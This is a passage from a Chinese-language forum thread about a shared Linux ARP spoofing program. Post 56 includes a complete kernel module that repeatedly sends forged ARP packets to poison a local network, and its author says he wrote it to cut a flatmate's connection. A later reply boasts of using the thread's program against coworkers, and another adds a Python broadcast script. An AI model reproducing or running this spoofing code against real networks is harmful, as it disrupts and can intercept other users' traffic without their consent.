免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: wojiaohesen
打印 上一主题 下一主题

共享:linux arp 欺骗程序 [复制链接]

论坛徽章:
0
51 [报告]
发表于 2009-10-23 10:20 |只看该作者

这几天正在完这类东西,一会测试一下!!

这几天正在完这类东西,一会测试一下!!

论坛徽章:
0
52 [报告]
发表于 2009-10-26 15:11 |只看该作者
对windows有用吗

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
53 [报告]
发表于 2009-10-26 15:17 |只看该作者

回复 #52 jerrymy 的帖子

拿着代码改改,应该可以用于WIN

论坛徽章:
0
54 [报告]
发表于 2009-11-06 16:50 |只看该作者
大佬,有错别字:


177   /* get the ip address of gateway. */
178   if ((in_addr_t) -1 == (gateway_addr = gateway_on_nic (ifindex)))
179     {
180
     fprintf (stderr, "can'f find getway.\n");                        
                                                              
181       goto close_sock;
182     }

[ 本帖最后由 lll0905 于 2009-11-6 16:53 编辑 ]

论坛徽章:
0
55 [报告]
发表于 2009-11-06 17:13 |只看该作者
感谢分享!

论坛徽章:
0
56 [报告]
发表于 2009-11-07 23:12 |只看该作者
hello, 各位, 我房子是合猪的, 有个人经常BT, 导致我dota 吊线分一直减.

今天是在气不过 就想整整它, 想到了最简单的免费arp, google下居然到了这里.
哈哈. 在此谢过. 不过在我的机器上跑有点小问题, 一执行程序终端像死机, cpu又点高, sorry我用的是虚拟机, 所以的我就临时写了粗糙的内核版的发送免费arp, 时间仓促没有, 代码有点丑, 最终的效果是达到了,(但那个SX 过一会去重启下路尤其, 哎....)


ONLY YOU, .... 不啰嗦了.

我在rmmod的时候 偶尔死机, 自己猜测是我rmmod后, timer有可能又开始运行执行我的handle, 在handle里mod_timer导致的,不知道对不对, 大家是怎么解决这个问题的呢? 代码如下:

  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/if_arp.h>
  4. #include <net/flow.h>
  5. #include <net/route.h>
  6. #include <net/arp.h>
  7. #include <linux/inetdevice.h>

  8. #define ARP_ALLOW        1
  9. #define ARP_DENY 2       


  10. #define ARP_INTERVAL 2

  11. static struct arp_control{
  12.         u16                        flags;
  13.         u32                        ip;
  14.         struct timer_list        timer;
  15. }arp_cb;

  16. static void arp_timer(unsigned long data)
  17. {
  18.         struct rtable        *rt;
  19.         struct flowi         fl;
  20.         u8 mac[6] = {0x90, 0xeb, 0xba, 0x00, 0x6f, 0xb8};

  21.         if (!arp_cb.ip)
  22.                 goto passby;
  23.        
  24.         memset(&fl, 0, sizeof(fl));
  25.         fl.nl_u.ip4_u.daddr = arp_cb.ip;
  26.         if (ip_route_output_key(&rt, &fl)){
  27.                 printk("there's no route for this\n");
  28.                 goto passby;
  29.         }
  30.        
  31.         arp_send(ARPOP_REQUEST, ETH_P_ARP, arp_cb.ip, rt->idev->dev, arp_cb.ip,
  32.                 NULL, mac, mac);

  33.         ip_rt_put(rt);
  34.        
  35. passby:
  36.         mod_timer(&arp_cb.timer, jiffies + ARP_INTERVAL*HZ);       
  37. }

  38. static int __init arp2_init(void)
  39. {
  40.         arp_cb.flags = ARP_DENY;
  41.         arp_cb.ip = 0x8700a8c0;
  42.         init_timer(&arp_cb.timer);
  43.         arp_cb.timer.function = arp_timer;
  44.         arp_cb.timer.data = 0;
  45.         arp_cb.timer.expires = jiffies + HZ*ARP_INTERVAL;

  46.         add_timer(&arp_cb.timer);
  47.         return 0;
  48. }

  49. static void __exit arp2_exit(void)
  50. {
  51.         del_timer_sync(&arp_cb.timer);
  52. }

  53. MODULE_LICENSE("GPL");
  54. module_init(arp2_init);
  55. module_exit(arp2_exit);
复制代码

[ 本帖最后由 Arthur_ 于 2009-11-7 23:15 编辑 ]

论坛徽章:
0
57 [报告]
发表于 2009-11-09 22:11 |只看该作者

回复 #1 wojiaohesen 的帖子

有几个地方不太懂   
一个是
struct rawarp
{
  struct ethhdr eh;
  struct ether_arp msg;
}__attribute__((packed));
还有一个是
  char buffer_request[BUFFERSIZE_REQUEST]__attribute__((aligned (NLMSG_ALIGNTO)));

前面的__attribute__是什么意思呢?
后面的buffer_request后面还有__attribute__是什么意思????

论坛徽章:
0
58 [报告]
发表于 2009-11-10 20:22 |只看该作者
强大的LZ,膜拜之……

论坛徽章:
1
2015年迎新春徽章
日期:2015-03-04 09:49:45
59 [报告]
发表于 2009-11-10 22:32 |只看该作者
跟我合租的不知道是哪个sb就喜欢搞网关arp欺骗,他一搞我就执行下面这个python程序,过大约10分钟他就不搞了

  1. #!/usr/bin/env python

  2. import sys
  3. import socket

  4. def main():
  5.         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
  6.         sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
  7.         while True:
  8.                 sock.sendto("wang guan di zhi shi 00:xx:xx:xx:xx:xx, bie gao le, SB", ("255.255.255.255", 4444))
复制代码

python是个好同志啊

论坛徽章:
0
60 [报告]
发表于 2009-11-17 11:06 |只看该作者
该程序不错,我顺利攻击了好几个同事,哈哈,然后让他们请我吃饭,谢谢了
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP